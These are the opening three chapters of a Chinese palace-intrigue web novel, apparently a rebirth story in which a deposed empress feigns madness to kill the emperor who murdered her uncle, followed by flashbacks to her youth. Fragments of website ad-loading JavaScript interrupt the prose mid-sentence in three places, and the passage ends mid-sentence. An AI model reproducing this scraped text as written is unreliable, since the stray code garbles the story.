《我见青山》 1. 第 1 章 第一章 “陛下对咱们这位废后真好,竟连北方的地龙也给她修上了,连如今的新后都没这种待遇呢。” “是啊,金陵的冬天哪有这么冷?哪里就到了需要修地龙的程度了?” 灭了她全族,把她当金丝雀来豢养的好吗? 这种好不要也罢。 谢灵越听小宫女窃窃私语,又一次想起旧事。 其实也有人给她修过地龙的,那个人是她九叔。 “金陵的冬哪有那么冷呢?九叔也太铺张浪费了些。” 那时的她窝在温室里,靠在飞鸾卷草纹的引枕上,一边吃着西瓜,一边向小侍女抱怨。 “言官们最爱多事,如果让言官们知晓了,定会参他一本,热出许多事端来。” 她十分苦恼。 她倒是不怕九叔被言官们刁难的。 那时的九叔虽未像后来那般独断朝纲,可也是极为厉害的,尖酸刻薄的言官们从来不是九叔的对手,每次弹劾他,都会被九叔的人驳得哑口无言,丑态百出。 如果他们识相,便该见好就收,不再与九叔为难。 如果不识相,那也好办,这些人最是心口不一,读着圣贤书,说着圣贤话,却总爱干一些与民争利收受贿赂的肮脏事,九叔掌廷尉,便会拿了他们的把柄,让他们知晓什么叫抄家灭族。 九叔行事如此狠辣,她却不觉得九叔做错了。 朝堂上的事情就是这么一回事,你不来杀我,我便来杀你,与其死在政敌手里,还不如自己先下手为强。 政斗不是请客吃饭,是真的要人头落地的。 只是死了那么多人,她多少有些害怕。 便拿私房钱在鸡鸣寺里为那些人点了往生灯,盼着他们早点投胎转世,别来当鬼找九叔的麻烦。 这时候的九叔总会拿手来揉她的发,“他们活着不是我的对手,为鬼又能奈我何?” “哎呀,别揉我头发。” 她去拍九叔的手,轻哼说道,“这是飞仙鬂,很难梳的。” 九叔垂眸瞧着她,笑了。 九叔的话很少,也不爱笑,别人说他是条伺机而动的毒蛇,阴鸷毒辣,不择手段,单是听到他的名字,便让人不寒而栗,很有止小儿夜啼的功效。 可在她面前,九叔却不是这样的,九叔矜贵而优雅,皎皎如玉树,旁人说的孤高阴鸷之气,她却是极少见过。 哪怕她做了错事,又故意拿话气他,他也从不向她发火,只沉默着看着她,墨色的眸子里是思度。 “罢了,都依你。” 斟酌良久,他会这般回答她。 从无例外。 哪怕她闹着不嫁太子,要嫁给一无所有的李鸣岐,九叔亦是如此。 “阿越是我养大的。” 他轻抚着她的发,说道:“要做,便该做世界上最尊贵的女人。” 后来他将与天子舅舅没有血缘关系的李鸣岐推上太子之位,又推上帝位,成全她的至尊之位。 ——唯有太子、天子才配当她的夫君。 如果不是天子,那便由他来创造一位天子。 可是后来,这位被他推上帝位的天子,她情窦初开时便喜欢的少年郎,竟不择手段要杀九叔,让九叔死在了为他渡江北伐收复河山的秋猎场。 权臣死,而帝王大权独揽吗? 不,取而代之的是更多的权臣冒出来,让原本形势大好剑指中原的朝堂陷入无休止的内斗,再无北伐的实力。 李鸣岐杀她九叔,绝对是他有史以来做过的最愚蠢的一件事。 玄色龙纹的靴子出现在她眼前。 “......灵越?” 头顶响起李鸣岐迟疑声音。 她抬头,熟悉又陌生的脸出现在她面前。 秋风陡然喧嚣。 卷起枯草与枝叶,霜雪似的拍打在帝王身上。 “今日的风怎这般邪门?” 小黄门谄媚讨好着,束起衣袖为帝王挡风。 哪里邪门了?这里的风一直都很好。 谢灵越眨了下眼,好奇地打量着李鸣岐。 自从被废之后,她已许久未见李鸣岐,帝王已褪去青涩与稚嫩,眉宇间浸染着不该出现在他身上的阴鸷。 曾经金陵城最明媚的少年,如今已在权力的倾轧之下变得满脸戾气,比当初的九叔更加阴郁。 别说他不敢认她,她也很不敢认他。 “你是谁?” 谢灵越歪着头,疯疯傻傻,“你能帮我杀掉狗皇帝,替我九叔报仇吗?” 帝王肩膀微僵。 “你竟还如此恨我。” 帝王低低出声,“灵越,此事的确是我做得不对,可是——” “你是谁呀?” 她打断李鸣岐的话,“为什么要跟我说对不起?” 帝王微微一愣,“你竟连我也不记得了?” “我是李鸣岐。” “胡说,你才不是李鸣岐。” 谢灵越看着他的脸,说道:“李鸣岐是金陵城里最明媚的少年郎,才不是你这副苦大仇深的模样!” 李鸣岐陷入沉默。 他也曾少年意气,敢于天公试比高。 纵然没落的宗室子身份让他不足以与太子藩王们比尊贵,但也藏锋于鞘,只待霜刃来试。 待来日,一朝成名——天下知。 可现在,他怎么就成了这副模样? 他压不住藩王们的野心勃勃,压不住世家们的伺机而动,更压不住厉兵秣马意图横渡长江灭大虞的胡虏。 谢灵越的狼狈在面上,他的狼狈由心而发,在他身体的每一个角落。 于是他明白了,谢灵越曾经与他说过的一句话——李鸣岐,杀我九叔是你做得最愚不可及的一件事。 小黄门声音尖细,“放肆,怎能如此说陛下?” “就是苦大仇深啊。” 谢灵越对着李鸣岐伸出手。 谢灵越不止一次行刺李鸣岐,小黄门如临大敌,连忙挡在李鸣岐面前,“陛下当心,此女深恨您——” “你在说什么?我怎么可能会恨李鸣岐?” 谢灵越鼓着脸,“我最喜欢李鸣岐了!” 李鸣岐微微一愣。 ——她如今痴傻到这副模样,竟还记得她喜欢他? “李鸣岐,你怎么啦?怎么不开心呀?” 谢灵越的脸从小黄门的另一侧冒出来,“不要不开心呀。” 小黄门挡在她面前,不让她与李鸣岐有肢体接触,她便歪着头,从小黄门的间隙之间去瞧李鸣岐。 “是有人在为难你吗?” 她问李鸣岐:“没关系,你告诉我,我来替你出气。” “是太子表兄?还是九江王世子?” 帝王不回答,她便又问:“唔......总不能是张文载那个老不死吧?” 帝王肩膀微微一颤。 谢灵越的的确确是疯了。 可疯了的她,仍然记得自己最爱的人是李鸣岐。 小黄门横在他与谢灵越之间,“好笑,怎会有人为难——” “滚!” 李鸣岐陡然出声。 小黄门吓得一哆嗦,“陛、陛下......” “滚。” 李鸣岐道。 小黄门面如土色,忙不迭退下。 ——陛下这是又想起废后的好了。 小黄门退出冷苑。 见亲卫仍立在帝王身后,他便好心嘱咐一句,“要死哦!” “你们杵在这儿做什么?没得坏了陛下的心情。” 冷苑的这位废后,怕是要死灰复燃了。 亲卫们你看看我,我看看你,只好退出冷苑。 但这位废后曾刺杀帝王,亲卫们还是留了个心眼,不远不近守在宫门下,只要废后有异动,他们便能立刻制止。 荒草凄凄,秋风肆虐。 李鸣岐被风迷了眼,只看到谢灵越松散的鬓发被卷起,越发衬得清瘦的脸冷白如玉。 她怎就瘦到这般田地了?脸上没有一点肉。 他记忆里的她,有着可爱的婴儿肥,眼角眉梢是被顶级权势滋养的娇媚鲜妍。 她是金陵城最鲜艳的花儿,没有人不爱她。 他也爱。 他爱过她的鲜妍,爱过她的灵动,爱过她骄纵,也爱过她的跋扈。 可他杀了谢慎之,便是将她对他的感情斩为两段。 自此以后,世间再无深爱李鸣岐的谢灵越,只有恨李鸣岐入骨的昌平县君。 “不要哭呀,李鸣岐。” 谢灵越道:“我在这儿,我会帮你的。” 她对李鸣岐伸出手。 守在宫门的亲卫皱了皱眉,觉得有些不对劲,手指悄无声息按在佩剑之上。 女人的手落在帝王脸上。 她很瘦,几乎说是骨瘦如柴,手指亦是嶙峋的,只剩皮包骨头,轻飘飘的,没什么力气,可她却用力抚弄着帝王紧蹙的眉心,试图抚平帝王眉宇之间的郁气。 “我会帮你的。” 谢灵越道:“无论谁欺负你,我都会帮你的。” 亲卫的警惕瞬间消失得无影无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 踪。 ——真可怜,被陛下灭了族,如今记着的,竟还是自己深爱陛下这种事。 亲卫无声叹息。 谢灵越道:“如果我帮不了你,我可以找九叔,让九叔来帮你。” “九叔那么厉害,肯定能护着你的。” “对了,九叔呢,咱们去找九叔吧?” 谢灵越笑眼弯弯。 仿佛她还是多年前长在谢慎之羽翼下的少女。 有了自己解决不了的事情,便去寻求谢慎之的庇护,只需她撒个娇,谢慎之便没了办法,搬了梯子来,为她去摘天上的星。 李鸣岐声音低哑,“好——” “噌——” 有什么东西陡然出鞘。 下一刻,锋利冰冷的剑刃刺进他胸膛。 那人显然是计划了许久,甚至自己偷偷演练了千百遍,他连反应的机会都没有,便被她拔去自己腰侧的佩剑,然后胸膛被剑刃贯穿。 剧烈的疼汹涌而来,他瞳孔骤然收缩,终于意识到一件事——谢灵越根本没有疯!她在装疯,然后诱杀他! 李鸣岐的鲜血喷涌而出,谢灵越压在他身上,将鲜血掩盖得一干二净。 秋风破空而来,卷动半人高的荒草,荒草波浪起伏,仿佛是以天为盖地为庐。 亲卫隐约觉得不太对劲。 正欲上前,后颈便被人重击,他眼前一黑,倒在宫门。 同僚是容妃安排的人。 那日容妃来看自己的手下败将,谢灵越的一句话,便让容妃的斩草除根变成了同流合污。 谢灵越问容妃:“你要做看李鸣岐脸色的皇后,还是要做大权独揽的摄政太后?” 容妃毫不犹豫选择权势。 但凡她犹豫一瞬,都是对泼天富贵的不尊重。 忠于李鸣岐的亲卫被料理,自然无人来护驾帝王,只有将帝王贯穿的冰冷剑刃,与恨意几乎从眼里迸裂出来的谢灵越。 “谢、灵越!” 李鸣岐难以置信。 他从不知,一个人竟可以孤注一掷到这种程度。 她装疯卖傻数十年,竟是为了要将他拖入地狱。 ——她原来如此恨他。 “李鸣岐,是你疯还是我疯啊?” 他听到谢灵越嘲讽开口,声音像是淬了毒的剑,“你杀了我九叔,竟还要我爱待你如初?” “李鸣岐,不能这么欺负人的。” 谢灵越道:“你杀谁我都不会怪你,可是,你不该动我九叔。” 那是最爱她的人,怎能死在她最爱的人之手? 谢灵越眸色微冷,手指握着剑柄,将刺进李鸣岐胸膛的剑刃又往他肉里狠狠一送。 李鸣岐闷哼一声,眸光不断涣散。 但他还是伸出了手,不是挣扎,而是想再抚摸一下她苍白脸颊。 他的动作让她厌恶无比。 她毫不留情甩开他的手,避他如瘟疫蛇蝎。 于是他懂了,她不仅恨他,还十分恶心他。 方才装出来的少年情意,几乎能将她恶心得吐出来。 李鸣岐低低笑了起来。 “灵越......” 李鸣岐道:“我早已修建帝陵,无论你被废与否,百年之后,仍与我同葬一处。” “生同衾,死同穴......” 帝王声音越来越低,“你与我,总是要在一起的。” 寒风呼啸而过,涌入宫殿。 没有人会喜欢这样的风,可她却很喜欢。 在漫长难熬的岁月里,风是唯一陪着她的东西。 “阿越,莫怕。” 她仿佛听到有人在对她说话。 · 谢慎之缓缓睁开眼。 窗外苍山如翠,枯树吐枝,正是三月好春时。 “府君,您醒了?” 亲随捧来一碟山药芙蓉糕。 亲随道:“县君做了些糕点,送来让您尝尝。” 养尊处优的清河县君十指不沾阳春水,却还是会为他亲自下厨。 ——山药补气,芙蓉温补,是最适合忙于朝政无暇按时吃饭之人的点心。 小姑娘被他养得很好。 善良纯粹,孝顺豁达,是世界上最好的小女郎。 也正是这个小姑娘摇着他胳膊撒娇,说她不要嫁太子,要嫁李鸣岐。 于是一个与帝王血缘关系甚远的落魄宗室之后,被他亲手推上皇位。 谢慎之眸光陡然冷肃。 “备马。” 他道。 他的小姑娘在等他。 2. 第 2 章 第二章 “备马?府君要去哪?” 亲卫有些意外。 谢慎之快步走出庭院,“狼营。” “府君去那做什么?” 亲卫小跑着跟在青年身后,语速极快道:“府君,东海王已等候多时,您要不要先见一下东海王?” “不见。” 战马已备好,谢慎之翻身上马。 亲卫道:“可东海王说,他为县君的婚事而来。” 谢慎之勒马动作微微一顿。 亲卫立刻捧上拜帖。 金乌刚刚爬上云层的,阳光朦胧而清浅,薄薄的一层落在被亲卫展开的拜帖上,而拜帖上最下面的一行小字,也随之跃入谢慎之眼帘——太宁十年,二月十四。 太宁十年,春。 二月,帝降华林园,遇刺,太子及二皇子薨。帝大恸,一病不起。 五月,东海王幼子与宗室子李鸣岐入嗣帝王。 七月,东海王幼子薨。 九月,帝立李鸣岐为皇太子,居昭明宫,号昭明太子。 十月,帝崩,他于帝王灵柩前扶李鸣岐继位大统。 是以,大虞历史为之改写。 谁也没有想到,一个与帝王血缘关系甚远的李鸣岐,竟被他推上帝王宝座。 谢慎之凤目轻眯。 ——他能改写大虞历史第一次,便能改写第二次。 谢慎之道:“如果他能活到下个月,便可以跟我谈阿越的婚事。” “喏。” 亲卫应喏,飞马去传话。 东海王脸色微变,“可是九郎知道了什么?” “府君只有一句话,便是让王爷下个月再来找他谈县君的婚事。” 东海王脸色更难看了。 说好的只要事关谢灵越,谢慎之便紧张万分呢? 这种事情怎么到了他身上就不适用了呢! 东海王道:“不行,本王今日必须见到九郎。” 封余那个挨千刀的屠夫必会在这次春猎动手,他若再不与谢慎之联合起来,只怕自己性命不保。 谢慎之有王佐之才,哪怕封余谋朝篡位得了江山,也会对谢慎之委以重用。 但他不一样,他姓李,是李姓皇室,是大虞的藩王,封余若称帝,必会对他赶尽杀绝。 幕僚适时上前,塞给亲卫一大包银子。 东海王肉疼不已,眼皮直跳。 “......” 都什么时候了?还心疼银子呢! 幕僚没理会自家视财如命的王爷,看亲卫收了银子,这才开口问道:“敢问郎君,九郎方才去了何处?” “九郎没时间见我家王爷,我家王爷去寻九郎也是使得的。” 亲卫笑了笑,“我家府君去了天渊池。” “天渊池?” 幕僚眉头微不可查地蹙了一下,“此地离狼营颇近,九郎去那里做什么?” 亲卫摊手,“不知。” 那么一大包银子只买到这么一个消息,东海王恨不得上前把银子给讨回来,但似乎是察觉到他心思,亲卫立刻把银子收了起来。 “......” 本王是那么小气的人吗? 东海王恨恨收回视线,没好气对幕僚道:“走吧,去天渊池。” 那么多银子买到的消息,还能因为离狼营太近而不去? · “羽林卫出行,闲人回避——” 清朗声音由宫门递出。 一声接一声,从宫门传至被清晨薄雾笼罩的狩猎场。 在狩猎场等待着的朝臣们整衣肃容。 而他们的身后,是他们身着戎装的子女儿郎。 与严阵以待的文臣武将们,这些人则没有那么紧张,甚至还有大胆的人向声音传来的地方张望着,似是迫不及待想要一睹天子近卫的风采。 马蹄踏在宫道,如闷雷炸响天际,驱散最后一丝笼罩在金陵城的薄雾。 “终于来了!” 有人压低声音与身边人窃窃私语。 热烈的红与威严的黑闯入众人视线。 那是象征大虞的旗帜,用天光乍破时的玄色为底色,饰以华章日月与云纹,庄重而古朴地绣着大篆的虞字。 旌旗之下,是英姿勃发的儿郎。 明光铠烈烈,猩红披风昭昭,将羽林卫凛然不可侵犯的锐气与天子近卫的雍容贵气展现得淋漓尽致。 在宫道上等待着的众人眼前一亮。 国之羽翼,如林之盛,是为羽林卫。 羽林卫不仅是天子近卫,还承担着大虞官员选拔的重任,每一个挥斥方遒的权臣能将,都有在羽林卫担值的经历。 是以,一但被选入羽林卫,便意味着扶摇直上,前途不可限量。 儿郎们两眼放光。 ——上天保佑,希望他们在春猎一鸣惊人,入选羽林卫! “如今的羽林卫哪还有以前的风光?” 众人心生向往,谢灵越却十分不屑,“以前的羽林卫出将入相不知几何,是真正的国之栋梁,天之骄子。” “而现在的羽林卫只掌天子仪仗,负责天子安危,如何能与之前的帝王心腹相提并论?” 她没有在宫道上等候,而是登上耸立在宫道旁的凤阙上看羽林卫出行。 只是提前排演天子春猎罢了,犯不着在那站麻了腿,看羽林卫们狐假虎威。 “自迁都金陵后,陛下便越发仰世家鼻息,如果不将羽林卫的权柄一分为三下放世家,世家们如何能肯?” 雪信拿着细银勺,往谢灵越嘴里送了一勺玫瑰露。 “这样也好。” 雪信道:“羽林卫掌天子仪仗,出行之际威风八面,不明所以的朝臣们看到的便是武德昭昭的大虞,高高在上的帝王,至于咱们内里的溃败与狼狈,他们却是分毫不知的。” 小侍女轻手轻脚卷起珠帘。 卷起的珠帘斑驳着清晨的暖阳。 细碎的阳光裹着珠光,一汪一汪萦在早已换好戎装的少女手上。 少女手挽珠光与霞光,轻哼一声,不置可否,“哼,我才不喜欢这些表面风光。” “《六国论》有言:今日割五城,明日割十城,然后得一夕安寝。起视四境,而秦兵又至矣。” 谢灵越道:“如今的舅舅与世家,便是这样的道理。” “皇室与世家本就是此消彼长的关系。一味的忍让,只会让世家越发贪得无厌。” 谢灵越不满道:“舅舅削权羽林卫,着实有些欠考虑。” 珠帘荡起光波。 楼下人头攒动。 “羽林卫出行——” 清朗的声音由远及近。 谢灵越眼皮轻抬面上一喜,讨论羽林卫的话头瞬间止住,手肘撑着雕花黑漆木的栏杆上,上半身微微前倾,看向奔驰而来的羽林卫队。 近了,更近了。 玄色旌旗被风高高扬起,她甚至能看清大篆之下的旌旗小字——谢。 这是九叔麾下的羽林卫队,负责明日的天子出行。 天子之事无小事,作为天子近卫的羽林卫,自然要提前勘查地形,排演秋猎事宜,以免秋猎时手忙脚乱,有损帝王威严。 被削权的羽林卫队虽不复旧时辉煌,但依旧是大虞十二卫队里最耀眼的存在,哪怕是纵马而行不易保持队形的行路方式,他们的队伍也是整齐排列的,甚至于连马蹄落下的频率都整齐划一,声音一致。 当这样不过百余人却有千军万马之势的羽林卫奔腾而至时,静候在宫道两旁的人们心中只剩一个念头—— 谁说衣冠南渡的大虞是王朝末世? 大虞春秋鼎盛,羽林卫锐意进取,他们恢复故土还于旧都指日可待! 无人不爱这样的羽林卫。 谢灵越也爱。 当然,她最爱的是刚被选入羽林卫的李鸣岐。 少女怀春,心脏砰砰跳。 视线随疾驰而过的卫队而动,在一群英姿飒爽的儿郎中寻找自己熟悉的身影。 这个剑眉斜飞入鬓,那个桃花眼分外潋滟,作为天子脸面的仪仗队,羽林卫们无一不是英俊漂亮到极致的。 ——但这都不是她要找的那个人的模样。 难道他没有入选? 不,不可能,她亲眼看到帖子上有李鸣岐的名字,李鸣岐不可能落选。 难道是九叔不想让她与李鸣岐有过多接触,所以在最后关头又把李鸣岐的名字划掉了? 谢灵越眼皮轻跳,心里顿时忐忑起来。 还别说,这的确是九叔能做出来的事情。 管不了她,便去管她的身边人,围魏救赵达成自己的目的。 谢灵越焦急开口,“李鸣岐呢?他怎么不在?是不是九叔——” 话未终,最末尾的羽林卫闯入自己视线。 那人显然是新入的,衣襟处还簪着新入选之际被礼官们簪上的月季。 初秋的菊开得极好,风骨凛凛,不容侵染,而少年亦是如此,剑眉星目,水木清华,让人过目不忘。 谢灵越悬着的心这才落回肚子里,“九叔终于做了件好事,没把他的名字划了去。” 她的声音并不大,而凤阙也修建得极高,正常情况下,她的声音传不到楼下,更别提还有天雷般的马蹄声在轰鸣。 但习武之人的听力本就远在寻常人之上,而少年又对她的声音极为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 熟悉,她刚开口,视线里的少年便勒马停下。 “灵越!” 少年抬头,清凌眼眸里映着初升的朝阳。 但奔驰的战马突然间被勒停,向前冲的惯性让战马双蹄瞬间腾空而起。 这种情况下,马背上的人极容易被摔下去,而后面的战马也会不可避免踩到他,让他哪怕不死也会变成残废。 谢灵越吓了一跳,“李鸣岐当心!” 马背上的少年不见丝毫慌乱,手控缰,缰勒马,立刻调整自己的动作。 他的马术显然极好,嘶鸣暴烈的战马在他面前如同乖顺的猫儿,服从着他的掌控,而他贴在马背上,身体随战马而起,高高立于朱雀大街。 “这便是羽林卫吗?” 周围人惊叹不已,“好漂亮的骑术!” 谢灵越紧攥着的掌心舒展开来,“李鸣岐,你吓死我了。” “灵越,你怎么还是信不过我的骑术?” 李鸣岐笑着抬头,“放心,我才不会被马甩下来。” 视线相撞,谢灵越面上一红,“好啦,知道你的骑术最好啦。” 随行的羽林卫中郎杨守勤将眉头微皱。 虽说李鸣岐与昌平县君自幼一起长大,关系极好,但现在彼此年龄大了,也该避嫌了。 ——更别提陛下有意让太子娶县君为妻。 作为未来的太子妃,哪能与太子之外的人如此亲密? “县君,末将们公务在身,恐不能久留。” 杨守勤于马背上拱手,向谢灵越说道。 谢灵越轻哼一声。 ——她讨厌这种把她视为太子所有物的行为。 太子想娶,她便一定要嫁了? 阿父战死疆场,阿娘死在北伐路上。 阿父与阿娘的青山埋骨换来她如今的尊荣体面,为的不是让她成为妆点皇室的物件。 更何况,她还有九叔呢,九叔才不会舍得让她嫁给自己不喜欢的人。 谢灵越道:“你们的公务与我何干?” “我不过与李鸣岐说几句话罢了,怎么,不行么?” “还是九叔何时改了律法,连人与人说话都不许了?” 谢灵越问中郎将。 骄纵刁蛮,牙尖嘴利。 这位昌平县君只要开口,便难以让人回答她的话。 杨守勤皱了皱眉,“末将不敢。” “李鸣岐,归队。” 中郎将冷声吩咐李鸣岐。 ——劝不了昌平县君,只好约束李鸣岐。 李鸣岐应喏归队。 但觉察到谢灵越的不悦,在马蹄刚踏在宫道的那一刻,少年忽而控马转身,重新看向凤阙之上的谢灵越。 小姑娘气鼓鼓的,把脸扭在一边,不去看规劝她的中郎将。 李鸣岐忍俊不禁。 怎么还跟孩子似的? 没关系,他来哄。 李鸣岐再度停下,中郎将的脸彻底黑了下来,“李鸣岐,归队!” “好~我这就归队~” 少年笑着答应。 但身体却并未如他说的那般去追上卫队。 少年抬手,单手解下被礼官簪在衣襟处的月季,用力向上一掷,扔向凤阙上的谢灵越。 “灵越,接花!” 李鸣岐大声道。 他的力道控制得极准,不高不低,不轻也不重,谢灵越尚未反应过来,月季已飞到她面前,她伸手一抓,便将月季攥在自己掌心。 她看掌心,初春的月季开得极盛,鲜红的花瓣,金黄色的花蕊蕊,盛着清晨的霞光,一瓣一瓣晃着她的眼睛。 而彼时凤阙之下的少年,眉眼舒展,轻笑着看着她。 初春的金乌携金光而来,徐徐落在少年眼眸,而少年眼眸里,满满是她的身影。 “灵越,送给你,不要不开心。” 少年在对她笑。 违反军纪也好,上峰的责罚也罢,对他来讲仿佛都不重要。 重要的是,他要把花送给她,来哄因为杨守勤的话而有些不开心的她。 谢灵越的呼吸一下子静了下来。 可与呼吸成反比的,是她骤然狂跳的心脏。 她真的很喜欢李鸣岐,喜欢这个金陵城最明媚的少年郎。 李鸣岐转身归队。 手里的月季散发着若有若无的清香。 她捻着花,看着少年猩红色的背影,心里只剩一个念头——她才不要嫁太子表兄,她要嫁给李鸣岐! “九叔在哪?我要去找九叔。” 她对绿沈道。 九叔那么疼她,一定能帮她退了与太子表兄的婚事,让她顺利嫁给李鸣岐的。 3. 第 3 章 第三章 第一次见李鸣岐时,是在母亲的灵堂上,那时她才五岁。 五岁的她穿着厚厚的衰衣,跪在软垫上,茫然地看九叔迎来送往。 突然间,有人拽了拽她衣袖,偷偷摸摸递来一块用帕子包裹着的芙蓉糕。 “你饿不饿?” 小孩儿的声音软乎乎的,透着几分关心,“我这有点心,你要不要先吃一点?” 九叔从不许她吃外面的东西,于是她摇头道:“谢谢你,我不饿。” “吃一点吧,我看你跪了半天,一口水都没喝。” 小孩儿却没把点心收回去,仍递在她面前,好脾气地哄着她,“你这样不吃不喝的,你阿娘看到了该多难受?” “阿娘......” 她听到这俩字,心里越发难受,抽抽搭搭哭起来。 没把人哄好,还把人哄得哭了起来,小孩儿有些慌,连忙挪到她身边。 “嗳,你别哭呀。” 小孩儿道。 “我跟你一样,也没了阿娘。” 小孩儿手忙脚乱擦着她的泪,“没了就没了吧。你看,我现在不也过得很好?” 她这才抬头,去看着笨手笨脚哄她的小男孩儿。 男孩儿穿的衣服与她平时见的人穿的完全不一样,质地很硬,不是贡缎云锦,只是最普通的缎料,款式很旧,身量也不合身,仿佛是旁人穿剩下来丢给他的。 身上的衣服尚且如此,衣服上的配饰便更粗糙。 香囊洗得有些发白,歪歪扭扭挂在他腰间。 ——如果不是伺候他的侍女们不用心,那便是他自己学着旁人的配饰自己打结挂上去的。 而香囊下面悬着的玉饰,几乎不能称作玉,更像是不知从哪捡来的一块玉色的石头,自己打磨做孔之后作为配饰来用的。 这便是没娘的孩子过的日子? ——太!惨!了! “你哪里好了!” 小小的她悲从中来,放声大哭,“我才不要过得跟你一样。” 可是后来呀,她的日子过得并不差,她的父母虽都为国捐躯,但九叔仍在,天子舅舅仍在,她便是受尽优待的谢家独女,众星捧月长大的昌平县君,绝不是旁人能欺辱的孤儿。 而曾经在阿娘葬礼上笨拙哄她的小男孩儿,也因为她的缘故,从无人留意的宗室之后被天子舅舅关注,不仅将他选做了太子表兄的伴读,还有意培养他成为表兄的左膀右臂。 藩王势大,世家权重,毫无根基的李鸣岐显然更值得天子的青眼有加。 这样的李鸣岐,如何不能做她的郎君了? 什么太子妃、未来的皇后,她才不稀罕。 她要嫁,便要嫁给自己最喜欢的人,这样才不算辜负她的一生。 谢灵越一手捧着脸,一手捻着花儿,小声说道:“太子表兄虽好,可我更喜欢李鸣岐。” “县君,慎言。” 银丹脸色微变。 寻常人上不得凤阙,凤阙之上除了她们,便只有驻守的卫士们。 卫士们离得远,听不见谢灵越的话,但银丹还是极为谨慎瞧了眼远处的卫士们,见他们神色无恙,这才松了口气,与谢灵越说道:“县君,您与太子殿下的婚事自有陛下做主,岂能因旁人而改变?” 谢灵越道:“如果我偏要改变呢?” “县君又在说笑。” 雪信莞尔。 谢灵越轻哼一声,“我才没有说笑,我说的是大实话。” 她拿着花儿,视线追随着李鸣岐的身影。 少年方才的举动让杨守勤极为的不满,彼时纵马走在他旁边,似是在训斥他。 幸而他脾气颇好,并未把杨守勤的责骂放在心上,只频频点头,认错态度极好,哄得杨守勤这才消了气,不再对他严声训斥。 谢灵越噗嗤一笑。 什么认错态度好?分明是敷衍杨守勤罢了。 也就杨守勤性子古板,做事一板一眼,这才觉得李鸣岐是真心悔过。 挺好。 有这样好糊弄的上峰,李鸣岐在羽林卫队的日子会好过很多。 谢灵越很为李鸣岐高兴。 “自阿娘死后,咱们谢氏一族便没了当年威震江左的威风。” 谢灵越道:“四个辅政大臣里,咱们谢家占两个,可四叔与五叔才干平庸,如今连府兵都掌不住,竟让封余得了兵权。封余外掌兵,内有做皇后的妹妹,岂不比咱们强百倍?” “舅舅纵然不选封家的女郎,可是还有四世三公的吴郡张氏张文载呢。” 谢灵越道:“张文载的女儿嫁给了东海王做王妃,如果舅舅不为太子表兄娶一个张家女郎做太子妃,只怕张文载这个老狐狸会倒向东海王。” 九叔希望她做一个无忧无虑的小姑娘,甚少与她讲朝政上的事情,但是她又不瞎不聋,她看得到金陵城的风云变化,更知晓这些变化意味着什么。 春江水暖鸭先知。 作为早期被天子舅舅钦定但迟迟没有娶的“太子妃”,她太清楚舅舅的犹豫不决是因为什么。 “舅舅这一脉虽为正统,可到底是洛阳失守之后从中原之地迁徙过来的,在江东之地并无根基。” 谢灵越道:“东海王便不一样了。他们自建/国便受封江东之地,在江东经营数百年,门生故吏极多,远不是外来户的舅舅能比拟的。” 如果不是当初阿娘力挽狂澜,如今坐在帝位上的人未必是舅舅。 可阿娘去世后四叔五叔守不住她的兵权,那时的九叔也太小,不过是个十四五岁的少年郎,这些年舅舅之所以没有被东海王夺权,是因为阿娘在临死之时的筹算,让舅舅娶了封余寡居的妹妹为皇后,把封余拉上舅舅的战船。 这显然是没有办法的办法,但那时阿娘已病入膏肓,只好行此险招,拉拢封余压制东海王。 封余短时间内扳不倒东海王,而东海王也除不掉在阿娘死后迅速收拢兵权的封余,俩人就此明争暗斗,开启权臣藩王争权的新局面。 如果舅舅有帝王之才,便他便能稳坐钓鱼台,待封余东海王斗个两败俱伤,自己坐收渔利,重掌大权。 可是舅舅才干平庸,纵然阿娘费尽心血给他留下了极好的局面,他也没有掌控全局的能力,只眼睁睁看封余与东海王持续作大,大到能废立帝王的程度。 不幸中的万幸,阿娘寄予厚望的九叔在这个时候站了出来,在封余与东海王越发剑拔弩张的时候形成一股两者之外的新势力,舅舅这才没有落了个被废黜之后被鸩杀的下场,至今仍战战兢兢地坐在皇位上,哀叹多事之秋的皇帝委实不好当。 每每想到这些事,谢灵越便替九叔委屈。 封余是征战沙场二十余年的宿将,东海王一脉更是百年传承,树大根深,可九叔有什么?不过是摇摇欲坠的谢家,只会拖他后腿与四叔与五叔,以及只会勉励他但什么都帮不了他的天子舅舅。 可就是这样一个几乎看不到未来的局面,却硬生生让他闯出一番天地来。 她丝毫不怀疑,只要再给九叔一段时间,九叔便能扳倒封余与东海王,结束自阿娘死后内斗不休的朝政。 只是现在九叔到底年轻,羽翼尚未丰满,虽有制衡封余与东海王的能力,却还做不到完全压制他们。 况九叔没有封余的野心勃勃,亦没有东海王的心怀异心,是一个无需拉拢便会对帝王肝脑涂地的臣子,既如此,帝王又何必许谢家太子妃之位? 太子妃是未来的皇后与小君,才干再怎样平庸的帝王,也会将这个位置利益最大化,而不是为了旧时情分便送给谢家。 谢灵越早就明白这个道理。 正是因为明白,所以才越发觉得自己与太子的婚事未必能成。 谢灵越道:“你们想啊,一个只有九叔的谢氏,哪有掌兵权的封余或者掌财政的张文载来得重要?” 银丹道:“谢家满门忠烈,战死疆场者不计其数,甚至就连长公主都战死在北伐的路上。” “陛下乃重情之人,应当不会因为谢氏一族暂时的势不如人便轻易悔婚。” “再说了,长公主虽已薨逝,但府君仍在,如今官拜廷尉,位列九卿,未必不能与旁人抗衡。” 银丹道:“只要府君在,东宫太子妃的位置便只能是县君的。” “我才不稀罕做什么太子妃。” 谢灵越不甚在意。 太子妃有什么好的?哪里比得上她在九叔羽翼下自由自在过日子来得痛快? “算了,跟你们说也没用。” 谢灵越道:“你们都是九叔派给我的,只会拿九叔的话来约束我。” “我才不要受你们的约束呢。” 谢灵越对银丹扮了个鬼脸。 “绿沈,九叔那边情况如何了?处理完政务了吗?” 谢灵越问雪信,“如果他忙完了,我便去寻他说一说我与太子表兄的婚事。” 绿沈正欲答话,忽觉自己衣袖被人拉了下,余光瞥向衣袖处,手腕上戴着錾金虾须镯,正是银丹的手,而拉她动作的意思,也再明显不过——别让县君找府君商议退婚之事。 李鸣岐虽也是宗室之后,可传到他这一代时,门庭早已败落,情况不比当年织席贩履的刘皇叔好多少。 如果不是在长公主葬礼上得到了县君的青眼,被县君举荐做了太子的伴读,只怕这会儿还在街市上摆摊卖东西呢。 嫁给这样一个人,哪有 (function () {var id = 